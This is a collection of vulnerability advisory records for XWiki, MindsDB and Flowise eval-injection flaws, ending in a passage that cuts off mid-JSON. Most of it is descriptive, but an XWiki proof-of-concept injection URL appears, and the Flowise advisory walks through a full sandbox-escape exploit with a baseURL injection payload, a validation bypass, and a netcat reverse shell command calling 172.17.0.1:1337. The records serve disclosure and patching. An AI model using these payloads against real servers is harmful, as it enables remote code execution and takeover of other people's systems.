{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-wiki-ui-mainwiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.3-milestone-2"
            },
            {
              "fixed": "13.10.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-wiki-ui-mainwiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.0-rc-1"
            },
            {
              "fixed": "14.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-wiki-ui-mainwiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.5"
            },
            {
              "fixed": "14.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-29211"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-04-12T20:35:30Z",
    "nvd_published_at": "2023-04-16T07:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nAny user with view rights `WikiManager.DeleteWiki` can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the `wikiId` url parameter.\n\nA proof of concept exploit is to open \u003cxwiki-host\u003e/xwiki/bin/view/WikiManager/DeleteWiki?wikiId=%22+%2F%7D%7D+%7B%7Basync+async%3D%22true%22+cached%3D%22false%22+context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello+from+groovy%21%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D where \u003cxwiki-host\u003e is the URL of your XWiki installation.\n\n### Patches\nThe problem has been patched on XWiki  13.10.11, 14.4.7, and 14.10.\n\n### Workarounds\nThe issue can be fixed manually applying this [patch](https://github.com/xwiki/xwiki-platform/commit/ba4c76265b0b8a5e2218be400d18f08393fe1428#diff-64f39f5f2cc8c6560a44e21a5cfd509ef00e8a2157cd9847c9940a2e08ea43d1R63-R64).\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n",
  "id": "GHSA-w7v9-fc49-4qg4",
  "modified": "2023-04-26T20:33:26Z",
  "published": "2023-04-12T20:35:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-w7v9-fc49-4qg4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29211"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/ba4c76265b0b8a5e2218be400d18f08393fe1428#diff-64f39f5f2cc8c6560a44e21a5cfd509ef00e8a2157cd9847c9940a2e08ea43d1R63-R64"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-20297"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "org.xwiki.platform:xwiki-platform-wiki-ui-mainwiki Eval Injection vulnerability"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mindsdb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "23.10.3.0"
            },
            {
              "fixed": "24.7.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45846"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-12T17:04:00Z",
    "nvd_published_at": "2024-09-12T13:15:12Z",
    "severity": "HIGH"
  },
  "details": "An arbitrary code execution vulnerability exists in versions 23.10.3.0 up to 24.7.4.1 of the MindsDB platform, when the Weaviate integration is installed on the server. If a specially crafted \u2018SELECT WHERE\u2019 clause containing Python code is run against a database created with the Weaviate engine, the code will be passed to an eval function and executed on the server.",
  "id": "GHSA-wcjw-3v6p-4v3r",
  "modified": "2024-09-16T21:57:30Z",
  "published": "2024-09-12T15:33:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45846"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mindsdb/mindsdb/commit/11a4db792ad36cf704f7307c7602128b17752c80"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mindsdb/mindsdb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mindsdb/PYSEC-2024-77.yaml"
    },
    {
      "type": "WEB",
      "url": "https://hiddenlayer.com/sai-security-advisory/2024-09-mindsdb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MindsDB Eval Injection vulnerability"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mindsdb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "23.10.5.0"
            },
            {
              "fixed": "24.7.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-12T17:03:51Z",
    "nvd_published_at": "2024-09-12T13:15:14Z",
    "severity": "HIGH"
  },
  "details": "An arbitrary code execution vulnerability exists in versions 23.10.5.0 up to 24.7.4.1 of the MindsDB platform, when the Microsoft SharePoint integration is installed on the server. For databases created with the SharePoint engine, an \u2018INSERT\u2019 query can be used for list item creation. If such a query is specially crafted to contain Python code and is run against the database, the code will be passed to an eval function and executed on the server.",
  "id": "GHSA-wf9g-c67g-h4ch",
  "modified": "2024-09-16T22:33:29Z",
  "published": "2024-09-12T15:33:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45851"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mindsdb/mindsdb/commit/11a4db792ad36cf704f7307c7602128b17752c80"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mindsdb/mindsdb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mindsdb/PYSEC-2024-81.yaml"
    },
    {
      "type": "WEB",
      "url": "https://hiddenlayer.com/sai-security-advisory/2024-09-mindsdb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MindsDB Eval Injection vulnerability"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69253"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T15:13:33Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "=============================================================================\n                                                            Security Advisory\n                                                                       elttam\n\nTopic:          Flowise JavaScript Sandbox Escape\n\nModule:         FlowiseAI/Flowise, FlowiseAI/nodevm\nDisclosed:      11-Apr-2026\nCredits:        Luke Jahnke and Alex Brown\nAffects:        `FlowiseAI/Flowise 3.1.1`, `FlowiseAI/nodevm  3.9.25`\n\n# I.   Background\n\nFlowise AI is an open-source, low-code platform for building AI applications\u2014such as chatbots, workflows, and autonomous agents\u2014through an intuitive drag-and-drop interface, minimising the need for extensive coding.\n\nThe platform also enables execution of custom JavaScript within a sandboxed environment via the Custom Function Agent Flow node or Custom Tool. By default, this sandbox is powered by `patriksimek/vm2`, a fork of the `patriksimek/vm2` package.\n\n# II.  Problem Description\n\n**NOTE**: This vulnerability still impacts commit `dddfb3c90eec900d747790a439bd362a764039cd` (the latest commit on the main branch at the time of writing). The original report was incorrectly closed, due to a misunderstanding that the report was about the use of an outdated and vulnerable version of the `patriksimek/vm2` sandbox. The sandbox escape that this report documents is an issue with Flowise, and patching the `vm2` sandbox would not resolve it.\n\nThe `patriksimek/vm2` sandbox executes JavaScript within the same Node.js process, which introduces significant security limitations and makes safely isolating untrusted code inherently difficult. Due to these concerns, the maintainers had deprecated the project and previously issued the following warning:\n\n*https://github.com/n8n-io/vm2*\n\u003e The library contains critical security issues and should not be used in production. Maintenance has been discontinued. Consider migrating to `isolated-vm`.\n\nTo demonstrate the risks associated with the use of the `vm2` sandbox, a sandbox escape specific to Flowise was investigated. The code snippet below shows the allowed modules that could be used within custom JavaScript code on Flowise.\n\nhttps://github.com/FlowiseAI/Flowise/blob/flowise%403.1.1/packages/components/src/utils.ts#L124\n```ts\nconst defaultAllowExternalDependencies = [\u0027axios\u0027, \u0027moment\u0027, \u0027node-fetch\u0027] \u003c1\u003e\n```\n\u003c1\u003e Allows custom JavaScript code to use the `axios`, `moment` and `node-fetch` dependencies.\n\nNotably, the `moment` dependency had a previously reported path traversal vulnerability (`CVE-2022-24785`) that could lead to RCE when user input is passed to the `locale` function. The patch for `CVE-2022-24785` was implementing regex check to disallow `/` or `\\` characters within a locale name, as shown in the code snippet below.\n\n*Patch for `CVE-2022-24785` in `moment` (https://github.com/moment/moment/commit/4211bfc8f15746be4019bba557e29a7ba83d54c5)*\n```js\nfunction isLocaleNameSane(name) {\n    // Prevent names that look like filesystem paths, i.e contain \u0027/\u0027 or \u0027\\\u0027\n    return name.match(\u0027^[^/\\\\\\\\]*$\u0027) != null; \u003c1\u003e\n}\n\nfunction loadLocale(name) {\n    var oldLocale = null,\n        aliasedRequire;\n    // TODO: Find a better way to register and load all the locales in Node\n    if (\n        locales[name] === undefined \u0026\u0026\n        typeof module !== \u0027undefined\u0027 \u0026\u0026\n        module \u0026\u0026\n        module.exports \u0026\u0026\n        isLocaleNameSane(name) \u003c1\u003e\n    ) {\n        try {\n            oldLocale = globalLocale._abbr;\n            aliasedRequire = require;\n            aliasedRequire(\u0027./locale/\u0027 + name); \u003c2\u003e\n            getSetGlobalLocale(oldLocale);\n        } catch (e) {\n            // mark as not found to avoid repeating expensive file require call causing high CPU\n            // when trying to find en-US, en_US, en-us for every format call\n            locales[name] = null; // null means not found\n        }\n    }\n    return locales[name];\n}\n```\n\u003c1\u003e Performs a regex check to disallow `/` or `\\` characters within the provided locale name.\n\n\u003c2\u003e The vulnerable sink that introduced `CVE-2022-24785`.\n\nFlowise used `moment` version `v2.29.3`, which had the `CVE-2022-24785` patch applied. However, the patch is ineffective in preventing directory traversal in a sandbox context. The validation function uses the `match` function from the provided object, so an object with a `match` function that always returns `true` would bypass the validation check, as shown in the following proof-of-concept script.\n\n```js\nfake = new String(\"../../../../../../../../../../../../../../../etc/passwd\");\nfake.match = function(regexp){return true;}; \u003c1\u003e\nrequire(\"moment\").locale(fake);\n```\n\u003c1\u003e Bypasses the validation check for `CVE-2022-24785`.\n\nIn commit `e765367fdc9761a7d9cf01a048cac15c78903b85` (https://github.com/FlowiseAI/Flowise/commit/e765367fdc9761a7d9cf01a048cac15c78903b85), the default sandbox was changed to the E2B sandbox, as shown in the code snippet below.\n\nhttps://github.com/FlowiseAI/Flowise/blob/e765367fdc9761a7d9cf01a048cac15c78903b85/packages/components/src/utils.ts\n```ts\nexport const executeJavaScriptCode = async (\n    code: string,\n    sandbox: ICommonObject,\n    options: {\n        timeout?: number\n        useSandbox?: boolean\n        libraries?: string[]\n        streamOutput?: (output: string) =\u003e void\n        nodeVMOptions?: ICommonObject\n    } = {}\n): Promise\u003cany\u003e =\u003e {\n    const { timeout = 300000, useSandbox = true, streamOutput, libraries = [], nodeVMOptions = {} } = options \u003c1\u003e\n    if (useSandbox \u0026\u0026 !process.env.E2B_APIKEY) { \u003c1\u003e\n        throw new Error(\n            \u0027Sandboxed code execution requires E2B_APIKEY to be configured. \u0027 +\n                \u0027Set E2B_APIKEY in your environment or contact your administrator.\u0027\n        )\n    }\n    let timeoutMs = timeout\n    if (process.env.SANDBOX_TIMEOUT) {\n        timeoutMs = parseInt(process.env.SANDBOX_TIMEOUT, 10)\n    }\n    ...\n```\n\u003c1\u003e The default was changed to use the E2B sandbox.\n\nHowever, there are several components within the application that still use the insecure `vm2` sandbox, as shown in the following `grep` output.\n\n```terminal\n$ grep -r \u0027useSandbox: false\u0027\npackages/components/nodes/tools/AgentAsTool/AgentAsTool.ts:            useSandbox: false\npackages/components/nodes/tools/ChatflowTool/ChatflowTool.ts:            useSandbox: false\npackages/components/nodes/sequentialagents/ExecuteFlow/ExecuteFlow.ts:                    useSandbox: false\n```\n\nThe above files also contain an injection vulnerability into the sandboxed code, due to an improper URL validation check validating the `baseURL` input. The following code snippets demonstrate the injection vulnerability within `AgentAsTool.ts` and the broken `isValidURL` validation function.\n\nhttps://github.com/FlowiseAI/Flowise/blob/0c6924bb08a2156513b447d0e600651f29ea5aa8/packages/components/nodes/tools/AgentAsTool/AgentAsTool.ts\n```ts\nclass AgentAsTool_Tools implements INode {\n    ...\n    async init(nodeData: INodeData, input: string, options: ICommonObject): Promise\u003cany\u003e {\n        ...\n        const baseURL = (nodeData.inputs?.baseURL as string) || (options.baseURL as string)\n\n        // Validate agentflowid is a valid UUID\n        if (!selectedAgentflowId || !isValidUUID(selectedAgentflowId)) {\n            throw new Error(\u0027Invalid agentflow ID: must be a valid UUID\u0027)\n        }\n\n        // Validate baseURL is a valid URL\n        if (!baseURL || !isValidURL(baseURL)) { \u003c1\u003e\n            throw new Error(\u0027Invalid base URL: must be a valid URL\u0027)\n        }\n        ...\n    }\n}\n\nclass AgentflowTool extends StructuredTool {\n    ...\n    // @ts-ignore\n    protected async _call(\n        arg: z.infer\u003ctypeof this.schema\u003e,\n        _?: CallbackManagerForToolRun,\n        flowConfig?: { sessionId?: string; chatId?: string; input?: string }\n    ): Promise\u003cstring\u003e {\n        ...\n        const code = `\nconst fetch = require(\u0027node-fetch\u0027);\nconst url = \"${this.baseURL}/api/v1/prediction/${this.agentflowid}\"; \u003c2\u003e\n\nconst body = $callBody;\n\nconst options = $callOptions;\n\ntry {\n\tconst response = await fetch(url, options);\n\tconst resp = await response.json();\n\treturn resp.text;\n} catch (error) {\n\tconsole.error(error);\n\treturn \u0027\u0027;\n}\n`\n        ...\n        let response = await executeJavaScriptCode(code, sandbox, {\n            useSandbox: false \u003c3\u003e\n        })\n\n        if (typeof response === \u0027object\u0027) {\n            response = JSON.stringify(response)\n        }\n\n        return response\n    }\n}\n```\n\u003c1\u003e Use of the broken `isValidURL` validation function, that is shown below.\n\u003c2\u003e Injection via the `baseURL` setting into the sandboxed code.\n\u003c3\u003e Uses the insecure `vm2` sandbox.\n\nhttps://github.com/FlowiseAI/Flowise/blob/aff06479aa9ec24847bd65ac786b46ac85ae7e03/packages/components/src/validator.ts\n```ts\n/**\n * Validates if a string is a valid URL\n * @param {string} url The string to validate\n * @returns {boolean} True if valid URL, false otherwise\n */\nexport const isValidURL = (url: string): boolean =\u003e {\n    try {\n        new URL(url) \u003c1\u003e\n        return true\n    } catch {\n        return false\n    }\n}\n```\n\u003c1\u003e The JavaScript `URL` class does not validate characters in the URL hash fragment.\n\nAn attacker could inject arbitrary code by inserting `#\";\\n{malicious_code};//` at the end of the `baseURL` setting, where the following `baseURL` demonstrates injecting the payload for the sandbox escape shown above to execute the code in the file `/tmp/evil.txt` outside the `vm2` sandbox.\n\n```js\n\"https://192.168.122.62:3000/#\\\";\\nfake = new String(\\\"../../../../../../../../../../../../../../../../../tmp/evil.txt\\\");\\nfake.match = function(regexp){return true;};\\nrequire(\\\"moment\\\").locale(fake);//\"\n```\n\nThe following documents the procedure to remotely exploit the insecure `vm2` sandbox to achieve RCE on Flowise using the `AgentAsTool` node.\n\n**Note:** This procedure documents the method of exploitation on the Docker deployment. The exploitation methodology may be different on the cloud deployment.\n\n1. Log into a Flowise instance and note the organisation ID in the response from `POST /api/v1/auth/login`, as shown below.\n\n```http\nHTTP/1.1 200 OK\nSet-Cookie: token=\u003cREDACTED\u003e\nSet-Cookie: refreshToken=\u003cREDACTED\u003e\nSet-Cookie: connect.sid=\u003cREDACTED\u003e\nContent-Type: application/json; charset=utf-8\nContent-Length: 671\nETag: W/\"29f-jwu/0ZfIvz6r3EF/4QqMbLOMeho\"\nDate: Sat, 11 Apr 2026 12:05:42 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\n\n{\n    \"activeOrganizationCustomerId\": null,\n    \"activeOrganizationId\": \"dbac2c65-6d98-48c2-b515-0b6cfb32f7e7\", \u003c1\u003e\n    \"activeOrganizationProductId\": \"\",\n    \"activeOrganizationSubscriptionId\": null,\n    \"activeWorkspace\": \"Default Workspace\",\n    \"activeWorkspaceId\": \"4b7e2414-a652-413d-b45e-b9edb8e63c1d\",\n    \"assignedWorkspaces\": [\n        {\n            \"id\": \"4b7e2414-a652-413d-b45e-b9edb8e63c1d\",\n            \"name\": \"Default Workspace\",\n            \"organizationId\": \"dbac2c65-6d98-48c2-b515-0b6cfb32f7e7\", \u003c1\u003e\n            \"role\": \"owner\"\n        }\n    ],\n    \"email\": \"admin@flowise.local\",\n    \"features\": {},\n    \"id\": \"f8acb68d-afa5-41bd-8485-e39457433b71\",\n    \"isOrganizationAdmin\": true,\n    \"isSSO\": false,\n    \"name\": \"Admin\",\n    \"permissions\": [\n        \"organization\",\n        \"workspace\"\n    ],\n    \"roleId\": \"3ff0de09-3993-125c-8798-7d14c45336df\"\n}\n```\n\u003c1\u003e The organisation ID that is required for a later step.\n\n2. Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the `vm2` sandbox. The following script is a reverse shell payload that connects to `172.17.0.1:1337` that had a filename of `rce.js`.\n\n```js\nprocess.mainModule.require(\u0027child_process\u0027).execSync(\u0027/usr/bin/nc 172.17.0.1 1337 -e /bin/sh\u0027)\n```\n\n3. Using a proxy tool such as Burp Suite or the browser\u0027s debug network tab, observe the response from the \n`POST /api/v1/document-store/loader/process/{loader_id}` endpoint and retrieve the `storeId`, as demonstrated in the response below.\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\nContent-Length: 996\nETag: W/\"3e4-k50+oeECDZnZeXCwR6mnTrXtxm0\"\nDate: Sat, 11 Apr 2026 12:13:41 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\n\n{\n    \"characters\": 94,\n    \"chunks\": [\n        {\n            \"chunkNo\": 1,\n            \"docId\": \"72f80118-fede-4f20-9ec6-1577e64c9ceb\",\n            \"id\": \"d6915ca3-4845-4f5b-a59c-3aa723aca8bd\",\n            \"metadata\": \"{\\\"source\\\":\\\"blob\\\",\\\"blobType\\\":\\\"\\\"}\",\n            \"pageContent\": \"process.mainModule.require(\u0027child_process\u0027).execSync(\u0027/usr/bin/nc 172.17.0.1 1337 -e /bin/sh\u0027)\",\n            \"storeId\": \"dd6e5e1a-9c17-4a80-ad97-87302d9aa549\" \u003c1\u003e\n        }\n    ],\n    \"count\": 1,\n    \"currentPage\": 1,\n    \"description\": \"\",\n    \"docId\": \"72f80118-fede-4f20-9ec6-1577e64c9ceb\",\n    \"file\": {\n        \"files\": [\n            {\n                \"id\": \"68a0a833-09c4-4df6-8b3e-1071f8edd462\",\n                \"mimePrefix\": \"application/x-javascript\",\n                \"name\": \"rce.js\",\n                \"size\": 94,\n                \"status\": \"NEW\",\n                \"uploaded\": \"2026-04-11T12:13:41.235Z\"\n            }\n        ],\n        \"id\": \"72f80118-fede-4f20-9ec6-1577e64c9ceb\",\n        \"loaderConfig\": {\n            \"file\": \"FILE-STORAGE::[\\\"rce.js\\\"]\",\n            \"legacyBuild\": \"\",\n            \"metadata\": \"\",\n            \"omitMetadataKeys\": \"\",\n            \"pointerName\": \"\",\n            \"textSplitter\": \"\",\n            \"usage\": \"perPage\"\n        },\n        \"loaderId\": \"fileLoader\",\n        \"loaderName\": \"RCE\",\n        \"status\": \"SYNC\",\n        \"totalChars\": 94,\n        \"totalChunks\": 1\n    },\n    \"storeName\": \"RCE File Store\",\n    \"workspaceId\": \"4b7e2414-a652-413d-b45e-b9edb8e63c1d\"\n}\n```\n\u003c1\u003e The store ID that is required for a later step.\n\n4. Navigate to the Agentflow tab and create a new empty Agent that would be attached to the `AgentAsTool` node.\n\n5. Navigate to the Chatflow tab and create a new Chatflow and save it. Then add an Agent as Tool node using the previously created Agentflow, a Buffer Memory Node, an Open AI Chat Model node and connect them to a Tool Agent node, then save the changes, as shown in the attached screenshot. Using a tool such as Burp Suite, intercept the request to the `PUT /api/v1/chatflows/{chatflow_id}` and modify the `baseURL` input to `\"https://192.168.122.62:3000/#\\\";\\nfake = new String(\\\"../../../../../../../../../../../../../../../../..{home_folder}/.flowise/storage/{organisation_id}/docustore/{store_id}/{filename}\\\");\\nfake.match = function(regexp){return true;};\\nrequire(\\\"moment\\\").locale(fake);//\"`, where the `{home_folder}` is `/home/node` if built locally using `https://github.com/FlowiseAI/Flowise/blob/main/Dockerfile` or `/root` if using a published Docker image from https://hub.docker.com/r/flowiseai/flowise. Replace the `{organisation_id}`, `{store_id}` and `{filename}` placeholders with the values from the previous steps. The following request demonstrates setting the sandbox escape payload to execute the uploaded payload that was located at `/home/node/.flowise/storage/dbac2c65-6d98-48c2-b515-0b6cfb32f7e7/docustore/dd6e5e1a-9c17-4a80-ad97-87302d9aa549/rce.js`.\n\n\u003cimg width=\"2229\" height=\"1148\" alt=\"sandbox-escape-tool-setup\" src=\"https://github.com/user-attachments/assets/87850ecf-3d93-4939-b5d3-9d3d2c349894\" /\u003e\n\n```http\nPUT /api/v1/chatflows/3145786c-a4c0-4989-8605-afff0c10b5be HTTP/1.1\nHost: 192.168.122.62:3000\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:149.0) Gecko/20100101 Firefox/149.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/json\nx-request-from: internal\nContent-Length: 17821\nOrigin: http://192.168.122.62:3000\nConnection: keep-alive\nReferer: http://192.168.122.62:3000/canvas/3145786c-a4c0-4989-8605-afff0c10b5be\nCookie: {cookies}\n\n{\"name\":\"RCE SANDBOX ESCAPE CHAT FLOW\",\"flowData\":\"{\\\"nodes\\\":[{\\\"data\\\":{\\\"baseClasses\\\":[\\\"AgentAsTool\\\",\\\"Tool\\\"],\\\"category\\\":\\\"Tools\\\",\\\"credential\\\":\\\"\\\",\\\"description\\\":\\\"Use as a tool to execute another agentflow\\\",\\\"filePath\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/tools/AgentAsTool/AgentAsTool.js\\\",\\\"icon\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/tools/AgentAsTool/agentastool.svg\\\",\\\"id\\\":\\\"agentAsTool_0\\\",\\\"inputAnchors\\\":[],\\\"inputParams\\\":[{\\\"credentialNames\\\":[\\\"agentflowApi\\\"],\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-credential-credential\\\",\\\"label\\\":\\\"Connect Credential\\\",\\\"name\\\":\\\"credential\\\",\\\"optional\\\":true,\\\"type\\\":\\\"credential\\\"},{\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-selectedAgentflow-asyncOptions\\\",\\\"label\\\":\\\"Select Agent\\\",\\\"loadMethod\\\":\\\"listAgentflows\\\",\\\"name\\\":\\\"selectedAgentflow\\\",\\\"type\\\":\\\"asyncOptions\\\"},{\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-name-string\\\",\\\"label\\\":\\\"Tool Name\\\",\\\"name\\\":\\\"name\\\",\\\"type\\\":\\\"string\\\"},{\\\"description\\\":\\\"Description of what the tool does. This is for LLM to determine when to use this tool.\\\",\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-description-string\\\",\\\"label\\\":\\\"Tool Description\\\",\\\"name\\\":\\\"description\\\",\\\"placeholder\\\":\\\"State of the Union QA - useful for when you need to ask questions about the most recent state of the union address.\\\",\\\"rows\\\":3,\\\"type\\\":\\\"string\\\"},{\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-returnDirect-boolean\\\",\\\"label\\\":\\\"Return Direct\\\",\\\"name\\\":\\\"returnDirect\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"acceptVariable\\\":true,\\\"additionalParams\\\":true,\\\"description\\\":\\\"Override the config passed to the Agentflow.\\\",\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-overrideConfig-json\\\",\\\"label\\\":\\\"Override Config\\\",\\\"name\\\":\\\"overrideConfig\\\",\\\"optional\\\":true,\\\"type\\\":\\\"json\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Base URL to Flowise. By default, it is the URL of the incoming request. Useful when you need to execute the Agentflow through an alternative route.\\\",\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-baseURL-string\\\",\\\"label\\\":\\\"Base URL\\\",\\\"name\\\":\\\"baseURL\\\",\\\"optional\\\":true,\\\"placeholder\\\":\\\"http://localhost:3000\\\",\\\"type\\\":\\\"string\\\"},{\\\"additionalParams\\\":true,\\\"default\\\":false,\\\"description\\\":\\\"Whether to continue the session with the Agentflow tool or start a new one with each interaction. Useful for Agentflows with memory if you want to avoid it.\\\",\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-startNewSession-boolean\\\",\\\"label\\\":\\\"Start new session per message\\\",\\\"name\\\":\\\"startNewSession\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Whether to use the question from the chat as input to the agentflow. If turned on, this will override the custom input.\\\",\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-useQuestionFromChat-boolean\\\",\\\"label\\\":\\\"Use Question from Chat\\\",\\\"name\\\":\\\"useQuestionFromChat\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Custom input to be passed to the agentflow. Leave empty to let LLM decides the input.\\\",\\\"display\\\":false,\\\"id\\\":\\\"agentAsTool_0-input-customInput-string\\\",\\\"label\\\":\\\"Custom Input\\\",\\\"name\\\":\\\"customInput\\\",\\\"optional\\\":true,\\\"show\\\":{\\\"useQuestionFromChat\\\":false},\\\"type\\\":\\\"string\\\"}],\\\"inputs\\\":{\\\"baseURL\\\":\\\"https://192.168.122.62:3000/#\\\\\\\";\\\\nfake = new String(\\\\\\\"../../../../../../../../../../../../../../../../../home/node/.flowise/storage/dbac2c65-6d98-48c2-b515-0b6cfb32f7e7/docustore/dd6e5e1a-9c17-4a80-ad97-87302d9aa549/rce.js\\\\\\\");\\\\nfake.match = function(regexp){return true;};\\\\nrequire(\\\\\\\"moment\\\\\\\").locale(fake);//\\\",\\\"customInput\\\":\\\"\\\",\\\"description\\\":\\\"Sandbox escape code will be injected using the baseURL input\\\",\\\"name\\\":\\\"sandbox-escape\\\",\\\"overrideConfig\\\":\\\"\\\",\\\"returnDirect\\\":\\\"\\\",\\\"selectedAgentflow\\\":\\\"31ad9e45-2f8c-4a52-8fac-53c37a5f0ce6\\\",\\\"startNewSession\\\":\\\"\\\",\\\"useQuestionFromChat\\\":\\\"\\\"},\\\"label\\\":\\\"Agent as Tool\\\",\\\"loadMethods\\\":{},\\\"name\\\":\\\"agentAsTool\\\",\\\"outputAnchors\\\":[{\\\"description\\\":\\\"Use as a tool to execute another agentflow\\\",\\\"id\\\":\\\"agentAsTool_0-output-agentAsTool-AgentAsTool|Tool\\\",\\\"label\\\":\\\"AgentAsTool\\\",\\\"name\\\":\\\"agentAsTool\\\",\\\"type\\\":\\\"AgentAsTool | 